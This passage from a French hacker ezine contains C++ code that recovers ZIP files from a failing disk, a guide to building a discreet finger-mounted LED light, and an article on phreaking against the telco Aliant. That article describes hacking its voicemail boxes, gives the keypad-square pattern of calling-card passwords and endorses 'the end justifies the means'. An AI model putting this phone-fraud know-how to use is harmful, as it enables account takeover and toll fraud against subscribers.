off_start; fpos_t off_end; fpos_t off_now; char tempfile[255]; FILE* fd = fopen(FAULTY_DEVICE,"rb"); // On ouvre la partition en lecture/binaire // on devine facilement ce que cela fait :) if (fd == NULL) { std::cout << "Unable to open faulty device." << std::endl; return -1; } // Ici on lis la partition du debut vers la fin while (!feof(fd)) { count++; // on decale le pattern que l'on cherche a chaque lecture car le HD n'utilise // pas des blocs fixes de 4 bytes par exemple. sign[0] = sign[1]; sign[1] = sign[2]; sign[2] = sign[3]; sign[3] = fgetc(fd); // Si on trouve un pattern, on le note if (strncmp(sign,ZIP_START,4)==0) { std::cout << "ZIP START here. OFFSET: " << ftell(fd) << std::endl; if (inside_zip == true) { std::cout << "WARNING: ZIP ALREADY STARTED. [SKIP]" << std::endl; } else { fgetpos(fd,&off_start); off_start.__pos -= 4; } inside_zip = true; } // si on trouve le pattern de fin , on le note et on lis le fichier if (strncmp(sign,ZIP_END,4)==0) { std::cout << "ZIP END here. OFFSET: " << ftell(fd) << std::endl; if (inside_zip == false) std::cout << "WARNING: ZIP NOT STARTED" << std::endl; inside_zip = false; fgetpos(fd,&off_end); sprintf(tempfile,"%d.zip",time(NULL)); std::cout << "WRITING TO: " << tempfile << std::endl; std::cout << "START:" << off_start.__pos << std::endl; std::cout << "END:" << off_end.__pos << std::endl; std::cout << "FILESIZE : " << (off_end.__pos - off_start.__pos) << std::endl; fgetpos(fd,&off_now); off_end.__pos += 18; fsetpos(fd,&off_start); // ICI on discarde les fichiers plus gros que 400 megabytes, pour 2 raisons, // la premiere etant que mon fichier doit peser maximum 50 kilobytes et secondo // ca empeche de faire un malloc() de 4 gig quand il tombe sur des blocks non-ordonnee // (voir la fin de l'article pour ample explications) if (((off_end.__pos - off_start.__pos) > 400000) || ((off_end.__pos - off_start.__pos) < 0)) std::cout << "TOO BIG TO BE REAL" << std::endl; else { // C'est cheap, cest pas fiable, mais ca fonctionne alors SHUT // La premiere version de ce code avait pas de check (plus haut), alors // si je pognais un faux-positif de 2 GIG, mon PC swappait until death. char* data = (char*) malloc(off_end.__pos - off_start.__pos); if (data == NULL) { std::cout << "NOT ENOUGH MEMORY, WHERE IS THE SWAP WHEN YOU NEED IT!" << std::endl; return -1; } fread(data,off_end.__pos-off_start.__pos,1,fd); FILE* out = fopen(tempfile,"wb"); fwrite(data,off_end.__pos-off_start.__pos,1,out); fclose(out); free(data); } fseek(fd,off_now,SEEK_SET); fsetpos(fd,&off_now); } // Cela empeche de creer l'effet classique "Coudonc le process es-tu geler?" if (count % 32768000 ==0) { size += 128; std::cout << size << " megabytes read. " << std::endl; } } // on ferme le FS fclose(fd); } -EOF---------------last_hope.cpp-----------------EOF--- Une fois compiler, l'exécution s'est bien dérouler et j'ai pus extraire quelque centaines de fichiers ZIP, cela a pris au moins 1 heure et j'ai pus retrouver mon précieux fichier! Il y a tout de même quelques problèmes qui m'ont amener a changer le code si-dessus legerement mais je ne tient pas a rentre mon code encore moins lisible en ajoutant les "hacks" qui ont ete apporter ici et la. (IE: Le handling des parties défectueuses) Le plus gros problème que j'ai eu a rencontrer porte le nom de defragmentation :) Certains blocs n'étaient pas dans l'ordre d'écriture mais pele-mêle, alors c'est bien entendu que je ne pouvais pas lire ce genre de fichier (C'est ce qui cause des faux-positifs de 2 gigs). Pour ma chance, le fichier que je recherchait remplissait 2 conditions, être tout petit(~50k) et ne pas se trouve enfermer dans un bloc de data faux-positif. La prochaine fois qu'un disque saute, la nouveau version de mon code pourra scanner plusieurs fois la surface en éliminant les faux positifs pour ne pas perdre du précieux contenu dure d'accès. Cela termine ma "quête", j'ai trouver l'idée de vous en faire part intéressante, comme quoi que tout est possible quand on est désespérerez et qu'on roule sous Linux :) (Ok, savoir coder depuis une décennie ça aide) La prochaine fois j'vais vous raconter comment j'ai installer Fedora Core 3 avec 4 CD scraps en ptracant anaconda via GDB pour créer un race condition entre moi pis le OS pour avoir accès au mount point du CD. :) __2 .---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----. | i|#hack.fr, un milieu riche en information \___________________ ___ __ _ | | I| \ | | I| '-=[ Mk-110 ]=-| | // | | L\:-=[ plz je veux savoir coment controler un cp ]=--[~~]----| | [ bogosse cp -R pour un directory ] \/ | [ c toute ] | | [ Arsenick ] Your | [ cp = computer ] computer | [ :P ] love lazy | [ non ? ] friend | [ genre ] | | [ sérieux ? ] |-[~]-=[ ouais ] ]=-----:\T | | // | |I |i '_______________________________________.I[ Event ]I._________________________________+____' .---+-=[ When leds lead to lockpicking ]=------+---------------------------=[13]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[Qwzykx ]=-| | // | | L\:-=[Ak : Un cossin attend pas l'autre ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' Se promener dans la sombre pénombre est souvent problématique, malheureusement contrairement aux chats l'oeil humain est de beaucoup moins sensible à la lumière, surtout celle qu'il y a quand il n'y en a pas ;) L'être humain a inventé plusieurs façon de s'éclairer depuis l'aube tu temps ou il y a penser, c'est peut-être pour sa d'ailleurs que l'évolution ne nous a pas donner des yeux de chats.. peu importe, dans ce petit article de divertissement je vous propose de mettre de la lumière dans vos projets nocturne, le tout dans un truc qui est plus portatif et discret qu'un feu de foyer :P J'me promenait dans le noir, un de ces soir d'été, quand je me suis rendu compte que c'était pas l'idéal, d'un point de vue pratique du moins, mais d'un autre cote étant quelqu'un de timide de nature, j'aimais pas pour autant le feeling de me promener dans les bois avec une flash light super voyante.. car bien que l'homme ait pas des yeux potent biologiquement parlant, on peut dire qu'il distingue bien une lueur dans un noir complet.. s'en est presque philosophiquement une conception de 'intelligence... enfin, toujours s est-il que pour mon égo, j'ai préféré de tenter d'être plus intelligent que ce mr. n'importe qui qui pourrait , par hasard, regarder dehors ce qui se passe dans le fond de son petit boisé. pour se faire j'ai immédiatement discarder l'idée de prendre une classique mag-lite, de même qu'une lumière frontale. Il me fallait un truc plus discret.. mais aussi pratique, voyez, j'avais en tête d'utiliser mes dix doigts lors de mon escapade nocturne, comme si finalement je serais un vrai humain se promenant en toute sa liberté, explorant candidement les bois en observant grâce à sa lumière tamiser, et de ses mains la nature qu'il l'entoure ;) Et à cette fin, j'ai développé une lumière portative, à intensité réglable, qui permet à un personne de se promener en voyant ou y s'en va.. autant dans ses pas que dans ses projets, le tout de façon discrète et non encombrante.. Le projet est en fait très simples, sa va peut-être donner à ceux de vous qui ont jamais été capable de crée de quoi de viable électroniquement un défi, il s'agit en gros d'une LED fixer à un velcro, qui est lui-même fixer au doigt de la personne qui le porte, idéal pour les raves par le fait même.. ;) Mais dans ce cas si, le but est pas de penser à ce que vous pourrez faire avec ce bidule, mais plutôt de vous montrer comment le faire! D'abord les pièces essentielles à la réalisation de ce projet sont les suivantes : -LED Blanche ou Bleu ou Rouge (au tour de 30mA de consommation électrique) -Une pile de 12v, format petite (et oui sa se fait)... -Un socket pour fixer la mini-pile de 12v (idéal pour le côte pas chiant de taper le tout) -Du fil, idéalement de quoi de pas trop gros comme truc. -Un interrupteur a trois position, ou 2 interrupteur de type On/Off . -2 résistances.. un de 570 Ohms et une de 280 Ohms. -Des bandes de velcro. Passons maintenant au montage, tout d'abord il faut fixer le fil qui alimentera la LED, en courant. Noter que la LED a un pole positif et neutre, donc assurez vous de brancher le tout comme il le faut, conseil gratuit : le côte neutre est du même cote que la partie la pin de métal la plus grande à l'intérieur de la LED. La pin neutre sera donc reliée directement au - de la pile, ou plutôt de son socket. Tandis que la partie positive sera branchée aux interrupteurs via un fil. L'interrupteur sera à son tour branché aux résistances appropriés et le tout sera relié à la borne positive du socket à batterie. 12v 12v R1 | I1 R1 OU | _____/\/\/\___ | ___/ ___/\/\/\__ | / R2 \_____ |____/ I2 R2 \_____ |___/ _____/\/\/\___/ | \___/ ___/\/\/\__/ | ___ | | | | | NC | | | _|_ _|_ \ / D1 \ / D1 ``|'' ``|'' | | | | GND GND 12v = Côté + de la pile. GND = Côté neutre ou - de la pile. I1 = Interrupteur #1. I2 = Interrupteur #2. R1 = Résistance de 570 Ohms. R2 = Résistance de 280 Ohms. D1 = Diode LED, Blanche [idéalement], ou Bleu / Rouge. I3 = Interrupteur #3, trois positions. NC = Parti non connecter. On vois donc plutôt bien que seul le bout d e fil qui sors du 'pack' de résistance et d'interrupteur se rend au bout de votre doigt (de même que le GND), le reste est fixer, collé au velcro, qui est lui-même self-strapable à souhait autour de votre doigt ou poignet. La partie ou la LED se trouve est quand à elle collée de la même façon à un velcro, qui est accroché au bout de votre doigt, à l'angle auquel vous voulez bien le mettre. Image [IMG-01] et [IMG-02] L'astuce est donc simple, on choisi entre le niveau d'éclairage que l'on désire soit celui qui est faible pour une discrétion accrue lors de vos manipulations, ou celui qui est plus intense pour un éclairage plus éclairé ;) idéal pour se déplacer dans le noir.. La Résistance R2 est plus grande que celle de R1 donc les électrons se déplacent dans le circuit sont bloqués en quelque sorte lors du passage dans celle-ci, ce qui provoque donc une baisse de tension aux bornes de la diode (D1), ayant comme conséquence un éclairage moins fort. L'utilisation d'un interrupteur à trois positions serait plus judicieux, car on éviterais d'activée (comme dans ce cas ci) les deux interrupteurs en même temps, ce qui risquerait bien franchement de griller votre LED (au prix évidant d''n éclairage intense.. vraiment intense pendent quelques secondes .. si vous êtes chanceux..) Dans le deuxième cas, les trois positions idéal serait évidament pour les deux fonctions d'intensité différente, et une position Off. De plus, il est à noter que c'est pas parce que votre LED allume au plus haut niveau qu'elle est super évidente, on peut facilement glisser la LED, via le velcro, à l'intérieur de la main, et régler ainsi, de façon cheap, la quantitée de lumière qui sort de votre main pour éclairer ce qui vous entour... de même que la direction du beam. On peut aussi modifier à notre goût les résistances, avec un simple calcul mathématique: V=RI , comme notre LED consomme environs 30mA, fonctionne à un voltage de 3.5v et que j'alimente celle-ci avec 24v (soit 2 petites pilles de 12v, j'ai fait le calcul suivant : 24v - 3.5v = 20.5v Ce qui nous donne le voltage qu'on aux bornes de le résistance à l'intérieur du circuit. 20.5v / 0.03A = 683.3333 -> 680 Ohms Ce qui nous donne la valeur de la résistance qu'on doit placer affin obtenir un courant de 30mA (0.03A) avec 3.5v à la LED (car la résistance bouffe 20.5v) Ici l'inconnue était la résistance , donc on a du faire le calcul suivant: R=V/I Il s'agit en fait d'une simple règle de trois très malléable. (A noter aussi que pour trouver la résistance on a besoin du voltage à ses bornes (ici 20.5v). Pour obtenir une lumière plus fiable, j'ai réduit le nombre d'ampère circulant dans le circuit, et par conséquence, la valeur de la résistance : 20.5v / 0.015A = 1366.66 -> 1.4K Ohms Ce qui nous donne encore 3.5v au borne de la LED, mais qui réduit de moitié la quantité d'électrons qui voyage à l'intérieur du circuit. Comme dans cette article la source est de 12v et non de 24v, on peut facilement re-calculer les valeurs de résistances: 12v - 3.5v = 8.5v (au borne de la résistance) 8.5v / 0.03A = 283.33 -> 280 Ohms 8.5v / 0.015A = 566.66 -> 570 Ohms Vous pouvez évidement changer la valeur des résistances selon vos désirs, une résistance plus élevé aura pour conséquence de diminuer l'intensité lumineuse de la LED. Bien que les valeurs du genre 280 Ohms ou 570 Ohms sont plutôt rare dans le monde des résistances, on peut combiner une 250, avec une 20 Ohms en série par exemple, ou simplement choisir d'arrondir à des résistance de 250 Ohms et de 600 Ohms. Voila, je serais donc bref dans ma conclusion en vous disant que c'est pas le projet le plus long que j'ai fait de ma vie ;) Mais tout de même si vous êtes un inculte du milieu de, voila au moins ce qui faut faire pour allumer une lumière. Qwzykx qui va veiller en ville avec ses cossins... So long !!.. .---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----. | i|#hack.fr, un endroit plein d'opportunités \___________________ ___ __ _ | | I| \ | | I| '-=[ Mk-110 ]=-| | // | | L\:-=[* sexyfill (~retnryt@81.192.197.195) has joined #hack.fr ]=--[~~]----| | [ je veux une aide en echaenge une baise ] \/ | [ ROFL ] | | [ tu peux m'aider ] reality | [ nop fuckyou ] only | [ haha ] strike you| [ zarex tu peux m'aider ] once | [ Objects in mirror may be less virtual than they appear ] | | [ hackfr ] |-[~]-=[ tu peux ma'ider ] ]=-----:\T | | // | |I |i '_______________________________________.I[ Event ]I._________________________________+____' .---+-=[ Le phreaking de par chez nous ]=------+---------------------------=[14]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[c4ndu ]=-| | // | | L\:-=[Ak : L'évolution de la rapace. ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' Comme toute société ou être humain, les compagnies visent l'évolution stricte, c'est à dire de ne jamais dégrader et toujours être à la hauteur de ce que leurs clients aiment. Eux qui, si généreusement, font grossir la bedaine du fumeur de cigares cubains assis sur son gros siège en cuir brun, appellé monsieur le boss. Chaque changement au sein d'une compagnie résulte d'une étude "approfondie", qui vise à faire grossir leur ampleur et de grossir le cachet, tout en conservant l'image de bonne volonté, question d'avoir plusieurs pommes pourries dans leur sac immense qu'on appelle souvent 'la clientèle'. Bref, on ajuste notre tir de façon a pouvoir poigner la masse bizarre, ceux qui se demandent qu'est-ce que le 3/4 de 9 si on ajoute 2 au résultat et qu'on ajoute la constante de temps par distance d'une feuille noir qui tombe sur la surface de la lune. C'est donc probablement nous les victimes, toi, moi, toi, moi, moi, il, elle, ils. (Si vous n'avez pas compris le punch de la dernière phrase j'ai des faux billets d'un show d'humour à vendre). Le phreaking est l'une des dures façons de faire les choses. Souvent confronter au grand froid canadien, la police qui semble tourner en rond (le centre c'est vous), les pay phones non-trustable, l'essai d'une tonne de so called box qui ne semble pas très bien fonctionner, le beige boxing et c'est danger tome 1, et sans oublier le stress vécu durant un périple qui a duré 3h, sois 2h a boire, 30 min de marche, et 30 min à gosser avec la gray box. Il y a quelques années, la compagnie de téléphone provincial était nommée NBTel, le NB pour New Brunswick et je vous laisse deviner le reste. Vendant une tonne de service, mais rien de très très nouveau, c'est à dire une bunch de service étoiler (*99, *69, etc.), des plans de longues distances, des cartes d'appels, afficheur. Bref, vous voyez le genre ? En effet, le bon vieux temps ... NBTel ne se souciait généralement pas des marginaux, on pouvait appliquer pas mal les même principes d'une tonne de box en ayant un peu de skills en social engineering . Rien de très complexe, rappelez-vous d'un matin de vos 12 ans où vous avez eu supposément mal à la tête, vous sauvant ainsi d'une journée poche à l'école composée du cours de musique où vous deviez jouer de la clarinette devant 30 copains. C'était en effet d'une faciliter incroyable, les crosses étaient simples et pouvaient être effectué de façon répétitive, question d'alléger le montant d'argent donné à NBTel. Autrement dit, plusieurs personnes faisaient du phreaking sans même le savoir ... quoi de plus marquant pour prouver la stupidité des arnaques. Mais l'univers à depuis ce temps très changé. NBTel à changé son nom pour Aliant Telecom, rien de très très drastique pour ceux qui à la base n'aimait pas NBTel, sauf qu'on a vu un très gros changement d'infrastructures, au delà du nom, qui déjà prônais l'expansion territoriale, on a réajusté le tir, visant les arnaqueurs de millionnaire. NBTel devena alors plus gros, plus fort, et moins stupide. Les crosses du bon vieux temps sont devenues beaucoup plus dures à effectuer. NBTel a évolué, et les marginaux doivent maintenant essayer de suivre. Sauf qu'encore une fois, le bateau n'est pas très rapide ... et on a réussi à le suivre pour quelques mois, mais l'expansion semble être de plus en plus rapide. On prévois s'acheter 2 rames de plus d'ici 2005. Le problème, c'est qu'avec la venu du changement de nom, et l'expansion s'en ai suivie, feu NBTel vise maintenant une clientèle plus large que le NB, et lorsqu'on prévoie avoir une bandwidth plus large, y'a rien de plus normal que d'être près à tout éventualité .. les phreakers et les méchants de cette société vont être plus nombreux à avoir la même cible, Aliant a passé au mode 'j'me protège en mettant 3 capotes'. Mais comme Aliant reste NBTel, le résultat semble un peu bizarre, voir même complètement idiot, mais donnons leur le crédit d'avoir au moins éliminé quelques rapaces qui ne savaient pas ce qu'ils faisaient. Bref, Paul Martin habiller en pyjama armé, ça fait peur à quelques canadiens, mais ça demeure l'imbécile heureux dans la tête de plusieurs. La preuve ? Je vous voyais venir he.. la voici : - At Aliant, the protection of the personal privacy information of our customers is an integral part of our commitment to you. In order to maintain privacy safeguards, we regret to inform you that the Name that Number service has been discontinued as of December 1, 2004. - Chez Aliant, la protection des informations confidentielles de nos clients fait partie intégrante de notre engagement envers vous. Afin de maintenir les nouvelles mesures de protection de la vie privée, nous regrettons de vous informer que le service Qui est-ce? a été annulé depuis le 1er décembre 2004. - C'est en effet ce que l'on pouvait constater sur le site de Aliant power page, la traduction française laisse à désiré, puisqu'on est porté à croire qu'il s'agit d'une loi provinciale, ou whatever. Mais détrompez vous, soit en lisant le paragraphe en anglais, ou en allant sur canada411.ca qui nous permet d'avoir acess au même service apellé 'reverse phone' He oui, Aliant va toujours demeurer nbtel :) J'ai tenté en vain d'avoir de l'information concrète au sujet de cette "nouvelle loi de protection de la vie privée", je suis tombé sur un superviseur biculturel parlant supposément français, à croire que le service en français est encore loin d'être une chose importante chez Aliant. En fouillant un peu sur le site, question de trouver réponse à mes questions moi-même, je suis tombé sur quelques paragraphes assez douteux, digne d'un vendeur de limonade : - Politique d'Aliant relative à la protection des renseignements personnels Votre confidentialité Chez Aliant, votre confidentialité est très importante. Après tout, vous êtes la raison pour laquelle nous travaillons. Notre engagement à protéger votre confidentialité nous a permis de nous forger une réputation de chef de file dans la protection de la confidentialité du client. C'est une réputation dont nous s ommes très fiers. Cependant, nous ne nous reposons pas sur nos lauriers. Afin de conserver votre confiance, nous voulons que vous sachiez de quelle manière nous utilisons et conservons vos informations personnelles en sécurité. Nous gérons de manière très stricte la façon dont nous utilisons les informations personnelles et tous nos employés ont été formés pour respecter votre confidentialité en tout temps. Nous voulons également rester ouverts au sujet de nos politiques et nous voulons vous donner la possibilité de poser des questions et trouver des réponses. - Chez Télécommunications Aliant, nous sommes convaincus que vous, notre client, êtes notre raison d'être. Notre engagement de longue date à protéger la confidentialité nous a valu la réputation de chef de file dans la protection de la confidentialité des renseignements sur les clients. Nous avons mis en place de rigoureuses normes de protection et d'utilisation des renseignements personnels au sein de nos systèmes informatiques et de nos sites Web. De plus, nous exigeons de nos employés qu'ils respectent en permanence la confidentialité des renseignements sur les clients. La Politique sur la confidentialité des renseignements sur les clients de Télécommunications Aliant et le Code de pratiques équitables en matière de renseignements de Télécommunications Aliant énoncent clairement notre engagement ainsi que les droits des clients à cet égard. Ceux-ci respectent à la lettre la Loi sur la protection des renseignements personnels et les documents électroniques, entrée en vigueur le 1er janvier 2001. - Des lignes et des lignes de conneries ... y'en a la tonne. Dans la lancée de 'protection' d'Aliant, on peut quand même ressentir une certaine méfiance de la part de leurs employés. Petit fait assez stupide: faire chier l'opératrice, qui ne s'est jamais adonner à ce plaisir fou. Cependant, chez Aliant, ils ont une nouvelle forme de patience qui se résume à 2 pranks calls :) La suite est un avertissement de signalement à la police. On a tenté l'expérience 2 fois et on remercie fièrement l'alcool d'avoir trouver ça très amusant. On peut aussi percevoir leur grande témérence et dignité avec leur fameuse vmb. Depuis le changement de nom, rien, voir meme absolument rien, ne s'est encore produit au sujet de la faciliter a hacker ses boites vocales. Toujours aussi facile a hacker, et ayant une tone de service relier a leur access, sois nbtel express ... permettant au black hat d'abonner la cible a une tone de service, d'avoir acess a des informations personnelles au sujet de cette meme cible, et j'en passe. Le tout est expliquer probablement plus en detail dans un article au sujet de ce hack a 10 cents qui se retrouve dans mindkind10 et sur le site web. Anyway, pour l'instant, on peut quand meme constater l'ironie du pour parler de circonstance d'aliant qui se vente de proteger la vie privee de leur client. Mais tous ces trucs nous permettent de réaliser une chose importante, c'est qu'on ne se protège pas de ce qui nous ne attaque pas, on peut donc conclure que Aliant ont eu quelques problèmes. On n'a qu'a penser à leur fameux numéro de carte d'appel avec un password prédéfini qui semble toujours avoir la même forme visible sur le clavier du téléphone. C'est-à-dire, que dans les cas où j'ai eu la chance de les hackers, le password formait un carré sur votre clavier .. 1 2 3 1245, 2365, 6589 ... 4 5 6 7 8 9 0 Quand même assez con, non ? Y'a eu une folie régionale des cartes d'appel, tout le monde avait ou connaissait quelqu'un qui, par hasard, était tombé sur le bon password. Existe-t-il des phreakers au NB ? woah ... :) Je vais conclure cet article en ne vous donnant pas le but ce cet article uniquement parce que j'ai réussi à faire une phrase qui contenait 2 fois le mot article + 1 sur vous compter celui dans la pseudo explication. Amusez-vous, et tâchez de trouver au moins, à la limite, des raisons pour justifier vos actes de hacking, Aliant est devenu ce qu'il est devenu, et anyway, ça ne change pratiquement rien à notre vie, sauf une perfection des techniques connues et l'apprentissage de d'autres ... car comme prônais IGA en son temps, la fin justifie les moyens. Aliant n'a fait que donner une tape dans le dos à tout les gens qui s'adonne au phreaking et par le fait même, éloigner les quelques tarlas. .---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----. | i| #hack.fr vous presente: la fin \___________________ ___ __ _ | | I| \ | | I| '-=[ Mk-110 ]=-| | // | | L\:-=[ :quit #hack.fr Read error: 110 ]=--[~~]----| | [(Connection timed out) ] \/ | [ ] | | [ ] Politicians | [ ] prefer | [ ] unarmed | [ ] peasants | [ ] | | [ |-[~]-=[ ] ]=-----:\T | | // | |I |i '_______________________________________.I[ Event ]I._________________________________+____' Déjà la fin, mais inquiétez vous pas on vous a pas attendu tout ce temps la, on c'est déjà lancer dans l'écriture de mindkind 111. Donc il devrait être disponible avant 2006 ;] C'est donc en compagnie de cette vieille citrouille que nous vous abandonnons pour vous donnez un rendez vous dans notre prochain ezine, ou sur #hack.fr si vous etes pas capable d'attendre. Sur ce amusez vous bien, riez des imbéciles et engraissez vous de tourtières et autre mets gras du temps des fêtes. ,-```-,. .------.---... .` ` .-`` .` . ,` `, --` ,` ,` . ,-` ,;-. l .` ,` .` ` .n \,; -- / \ ; ,,l |/ \ ,` ,/ `\ l ` . / / | .` .`/ `\ `; \ / / ,` ,' `/, `\ `., \ | , , /_________\ .--;.,,-,,\/ , , ` , ` /. \ `,`--, , . . / l \ , `,, : : : / `, \ .` `.`,. '; . `; /_, ` \-` ; `, `-, `, i i `.,.`\ i :. `l `, ; | \ // | l `, `, ___. __l /// l l l : | `\ / `'`--. \/ : : , `; `\ \ / `'`-------''`,., , , , |. \ \/ /\ `, . ,-..,__ . | , \ / \ . `, ,'` .--` . \ \ \_______/ \__________,-` `., ` .`` /| | `, `, `. .`--., ,` ,' ,` | _____| / `--.,;..,.`,..,, .``. --=-- .` , ,.`.,,.,;,,.--`, /___ \ / | ` ` |` / /|`' ' \ / | | | / / | \ / / \ \ / / | | Mindkind Wish u | / / | / / \ / / | \ / | | / // | / / | a | / | \ // | | | \ / `\/ \ /` | Creepy Chrismas \| | \ | \ \ | and an | | happy | | ! banana end ! |___________________